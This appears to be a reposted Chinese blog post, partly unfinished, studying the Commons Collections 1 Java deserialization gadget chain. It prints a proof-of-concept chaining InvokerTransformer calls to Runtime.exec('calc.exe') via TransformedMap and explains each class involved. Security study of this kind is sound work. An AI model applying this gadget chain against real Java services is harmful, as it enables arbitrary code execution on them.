Java安全之Commons Collections1分析前置知識


Java安全之Commons Collections1分析前置知識

0x00 前言

Commons Collections的利用鏈也被稱為cc鏈,在學習反序列化漏洞必不可少的一個部分。Apache Commons Collections是Java中應用廣泛的一個庫,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java應用都使用了這個庫。

0x01 前置知識

這里先來看一段網上找的,poc代碼

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class test {

    public static void main(String[] args) throws Exception {
        //此處構建了一個transformers的數組,在其中構建了任意函數執行的核心代碼
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //將transformers數組存入ChaniedTransformer這個繼承類
        Transformer transformerChain = new ChainedTransformer(transformers);

        //創建Map並綁定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //給予map數據轉化鏈
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //觸發漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        //outerMap后一串東西,其實就是獲取這個map的第一個鍵值對(value,value);然后轉化成Map.Entry形式,這是map的鍵值對數據格式
        onlyElement.setValue("foobar");
    }
}

先不管具體的實現,先來查看一下運行結果。

在調試這條鏈的時候會設置到一些沒接觸過的類,在調試前需要了解到這些類的一個作用,方便后面的理解。

Transformer

Transformer是Commons Collections中提供的一個接口

ConstantTransformer

ConstantTransformer是Transformer的實現類

在構造方法里面對iconstant進行傳值,而其他的幾個方法都是獲取iconstant的值。

InvokerTransformer

InvokerTransformer也是Transformer的實現類,

在構造方法中有三個參數,第⼀個參數是待執⾏的⽅法名,第⼆個參數
是這個函數的參數列表的參數類型,第三個參數是傳給這個函數的參數列表 。

里面還提供了一個Transform的方法,該方法可以通過Java反射機制來進行執行任意代碼。

ChainedTransformer

ChainedTransformer也是實現了Transformer接⼝的⼀個類,

看到transform方法是通過傳入Trasnformer[]數組來對傳入的數值進行遍歷並且調用數組對象的transform方法。

Map

Transform來執行命令需要綁定到Map上,抽象類AbstractMapDecorator是Apache Commons Collections提供的一個類,實現類有很多,比如LazyMap、TransformedMap等,這些類都有一個decorate()方法,用於將上述的Transformer實現類綁定到Map上,當對Map進行一些操作時,會自動觸發Transformer實現類的tranform()方法,不同的Map類型有不同的觸發規則。

TransformedMap

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

Transformer實現類分別綁定到map的key和value上,當map的key或value被修改時,會調用對應Transformer實現類的transform()方法。

我們可以把chainedtransformer綁定到一個TransformedMap上,當此map的key或value發生改變時,就會自動觸發chainedtransformer。

參考文章

https://www.cnblogs.com/litlife/p/12571787.html#transformer
https://xz.aliyun.com/t/7031#toc-8

0x02 未完續

CC鏈的調試比URLDNS要麻煩不少,調試的時候需要大量的知識填充。繼續mark中。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM